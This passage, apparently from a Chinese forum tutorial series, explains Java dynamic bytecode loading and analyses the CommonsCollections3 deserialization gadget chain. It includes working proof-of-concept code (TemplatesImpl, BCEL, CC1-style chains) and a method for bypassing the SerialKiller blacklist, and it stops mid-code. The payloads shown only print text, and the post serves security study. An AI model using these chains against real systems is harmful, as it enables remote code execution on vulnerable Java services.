taibeihacker
Moderator
Java反序列化漏洞系列-4
1 Java 动态加载字节码
1.1 字节码
嚴格來說,Java 字節碼其實僅僅指的是Java 虛擬機執行使用的一類指令,通常被存儲在.class 文件中。眾所周知,不同平台、不同CPU 的計算機指令有差異,但因為Java 是一門跨平台的編譯型語言,所以這些差異對於上層開發者來說是透明的,上層開發者只需要將自己的代碼編譯一次,即可運行在不同平台的JVM 虛擬機中。
1.2 利用 URLClassLoader 加载远程 class 文件
利用Java 的ClassLoader 來用來加載字節碼文件最基礎的方法。嘉文主要說明URLClassLoader。正常情況下,Java 會根據配置項sun.boot.class.path 和java.class.path 中列舉到的基礎路徑(這些路徑是經過處理後的java.net.URL 類)來尋找.class 文件來加載,而這個基礎路徑有分為三種情況:URL 未以斜杠/結尾,則認為是一個JAR 文件,使用JarLoader 來尋找類,即為在Jar 包中尋找.class 文件
URL 以斜杠/結尾,且協議名是file ,則使用FileLoader 來尋找類,即為在本地文件系統中尋找.class 文件
URL 以斜杠/結尾,且協議名不是file ,則使用最基礎的Loader 來尋找類
正常開發的時候通常遇到的是前兩者,那什麼時候才會出現使用Loader 尋找類的情況呢?當然是非file 協議的情況下,最常見的就是http 協議。
使用HTTP 協議來測試,從遠程HTTP 服務器上加載.class 文件:
ClassLoader.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.geekby.javavuln;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class Main {
public static void main(String[] args) throws Exception {
URL[] urls={new URL('http://localhost:8000/')};
URLClassLoader loader=URLClassLoader.newInstance(urls);
Class c=loader.loadClass('Hello');
Method f=c.getMethod('test');
f.invoke(null, null);
}
}
Hello.java
1
2
3
4
5
public class Hello {
public static void test() {
System.out.println('test');
}
}
執行:

成功請求到/Hello.class 文件,並執行了文件裡的字節碼,輸出了「test」。
所以,如果攻擊者能夠控制目標Java ClassLoader 的基礎路徑為一個http 服務器,則可以利用遠程加載的方式執行任意代碼了。
1.3 利用 ClassLoader#defineClass 直接加载字节码
不管是加載遠程class 文件,還是本地的class 或jar 文件,Java 都經歷的是下面這三個方法調用:ClassLoader#loadClass
ClassLoader#findClass
ClassLoader#defineClass
其中:
loadClass 的作用是從已加載的類緩存、父加載器等位置尋找類,在前面沒有找到的情況下,執行findClass
findClass 的作用是根據基礎URL 指定的方式來加載類的字節碼,就像上一節中說到的,可能會在本地文件系統、jar 包或遠程http 服務器上讀取字節碼,然後交給defineClass
defineClass 的作用是處理前面傳入的字節碼,將其處理成真正的Java 類
因此,真正核心的部分其實是defineClass ,其決定瞭如何將一段字節流轉變成一個Java 類,Java 默認的ClassLoader#defineClass 是一個native 方法,邏輯在JVM 的C 語言代碼中。
通過簡單的代碼示例,演示defineClass 加載字節碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class defineClassDemo {
public static void main(String[] args) throws Exception{
Method defineClass=ClassLoader.class.getDeclaredMethod('defineClass', String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//讀取字節碼並進行base64 編碼
byte[] b=Files.readAllBytes(Paths.get('Hello.class'));
String code=Base64.getEncoder().encodeToString(b);
//base64 解碼
byte[] byteCode=Base64.getDecoder().decode(code);
Class hello=(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), 'Hello', byteCode, 0, byteCode.length);
Method m=hello.getMethod('test', null);
m.invoke(null, null);
}
}

資訊
在defineClass 被調用的時候,類對像是不會被初始化的,只有這個對象顯式地調用其構造函數,初始化代碼才能被執行。而且,即使我們將初始化代碼放在類的static 塊中,在defineClass 時也無法被直接調用到。所以,如果要使用defineClass 在目標機器上執行任意代碼,需要想辦法調用構造函數。
在實際場景中,因為defineClass 方法作用域是不開放的,所以攻擊者很少能直接利用到它,但它卻是常用的一個攻擊鏈TemplatesImpl 的基石。
1.4 利用 TemplatesImpl 加载字节码
前面提到過,開發者不會直接使用到defineClass 方法,但是,Java 底層還是有一些類用到了它,如:TemplatesImpl。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 這個類中定義了一個內部類TransletClassLoader ,這個類裡重寫了defineClass 方法,並且這裡沒有顯式地聲明其定義域。 Java 中默認情況下,如果一個方法沒有顯式聲明作用域,其作用域為default。因此,這裡被重寫的defineClass 由其父類的protected 類型變成了一個default 類型的方法,可以被類外部調用。
從TransletClassLoader#defineClass() 向前追溯一下調用鏈:
1
2
3
4
5
TemplatesImpl#getOutputProperties()
- TemplatesImpl#newTransformer()
- TemplatesImpl#getTransletInstance()
- TemplatesImpl#defineTransletClasses()
- TransletClassLoader#defineClass()
追到最前面兩個方法TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer() ,這兩者的作用域是public,可以被外部調用。嘗試用newTransformer() 構造一個簡單的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
String code='.';
byte[] byteCode=Base64.getDecoder().decode(code);
TemplatesImpl obj=new TemplatesImpl();
//_bytecodes 是由字節碼組成的數組
Class c=TemplatesImpl.class;
Field _bytecodes=c.getDeclaredField('_bytecodes');
_bytecodes.setAccessible(true);
_bytecodes.set(obj, new byte[][]{byteCode});
//_name 可以是任意字符串,只要不為null 即可
Field _name=c.getDeclaredField('_name');
_name.setAccessible(true);
_name.set(obj, 'HelloTemplatesImpl');
//固定寫法
Field _tfactory=c.getDeclaredField('_tfactory');
_tfactory.setAccessible(true);
_tfactory.set(obj, new TransformerFactoryImpl());
obj.newTransformer();
}
但是,TemplatesImpl 中對加載的字節碼是有一定要求的:這個字節碼對應的類必須是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子類。需要構造一個特殊的類:
1
2
3
4
5
6
7
8
9
10
11
12
public class HelloTemppaltesImpl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemppaltesImpl() {
super();
System.out.println('Hello TemplatesImpl');
}
}

在多個Java 反序列化利用鏈,以及fastjson、jackson 的漏洞中,都曾出現過TemplatesImpl 的身影。
1.5 利用 BCEL ClassLoader 加载字节码
BCEL 的全名為Apache Commons BCEL,屬於Apache Commons 項目下的一個子項目,但其因為被Apache Xalan 所使用,而Apache Xalan 又是Java 內部對於JAXP 的實現,所以BCEL 也被包含在了JDK 的原生庫中。通過BCEL 提供的兩個類Repository 和Utility 來利用:用於將一個Java Class 先轉換成原生字節碼,當然這裡也可以直接使用javac 命令來編譯java 文件生成字節碼;Utility 用於將原生的字節碼轉換成BCEL 格式的字節碼:
1
2
3
4
5
6
7
8
9
10
11
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
public class BCELdemo {
public static void main(String[] args) throws Exception {
JavaClass cls=Repository.lookupClass(evil.Hello.class);
String code=Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
而BCEL ClassLoader 用於加載這串特殊的bytecode,並可以執行其中的代碼:

2 CommonsCollections 3 Gadget 分析
在CC1 中,利用TransformedMap 來執行任意方法,上一節中提到過,利用TemplatesImpl 執行字節碼,可以將兩者合併,構造出如下POC:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.geekby.cc3test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code=Files.readAllBytes(Paths.get('HelloTemppaltesImpl.class'));
TemplatesImpl obj=new TemplatesImpl();
setFieldValue(obj, '_bytecodes', new byte[][] {code});
setFieldValue(obj, '_name', 'HelloTemplatesImpl');
setFieldValue(obj, '_tfactory', new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(obj),
new InvokerTransformer('newTransformer', null, null)
};
Transformer transformerChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put('test', 'poc');
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
但是,在ysoserial 中的CC3 中,並沒有用到InvokerTransformer。
SerialKiller 是一個Java 反序列化過濾器,可以通過黑名單與白名單的方式來限制反序列化時允許通過的類。在其發布的第一個版本代碼中,可以看到其給出了最初的黑名單:

這個黑名單中InvokerTransformer 赫然在列,也就切斷了CommonsCollections1 的利用鏈。 ysoserial 隨後增加了新的Gadgets,其中就包括CommonsCollections3。
CommonsCollections3 的目的很明顯,就是為了繞過一些規則對InvokerTransformer 的限制。 CommonsCollections3 並沒有使用到InvokerTransformer 來調用任意方法,而是用到了另一個類,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。
這個類的構造方法中調用了(TransformerImpl) templates.newTransformer() ,免去了使用InvokerTransformer 手工調用newTransformer() 方法這一步:

當然,缺少了InvokerTransformer,TrAXFilter 的構造方法也是無法調用的。通過利用org.apache.commons.collections.functors.InstantiateTransformer 中的InstantiateTransformer 調用構造方法。
所以,最終的目標是,利用InstantiateTransformer 來調用到TrAXFilter 的構造方法,再利用其構造方法裡的templates.newTransformer() 調用到TemplatesImpl 裡的字節碼。
構造的Transformer 調用鏈如下:
1
2
3
4
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
ne